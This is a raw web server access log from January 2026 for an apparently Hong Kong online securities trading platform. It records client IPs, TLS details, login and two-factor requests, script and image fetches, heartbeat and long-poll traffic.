[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:33:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922677769 HTTP/1.1" -
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922675132 HTTP/1.1" 3188
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:33:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:33:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922690085 HTTP/1.1" -
[09/Jan/2026:09:33:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922679720 HTTP/1.1" -
[09/Jan/2026:09:33:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922679960 HTTP/1.1" -
[09/Jan/2026:09:33:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922682880 HTTP/1.1" -
[09/Jan/2026:09:33:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922695117 HTTP/1.1" -
[09/Jan/2026:09:33:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922685005 HTTP/1.1" -
[09/Jan/2026:09:33:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922685067 HTTP/1.1" -
[09/Jan/2026:09:33:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922687941 HTTP/1.1" -
[09/Jan/2026:09:33:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922700140 HTTP/1.1" -
[09/Jan/2026:09:33:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:33:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922688796 HTTP/1.1" 3188
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 292
[09/Jan/2026:09:33:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
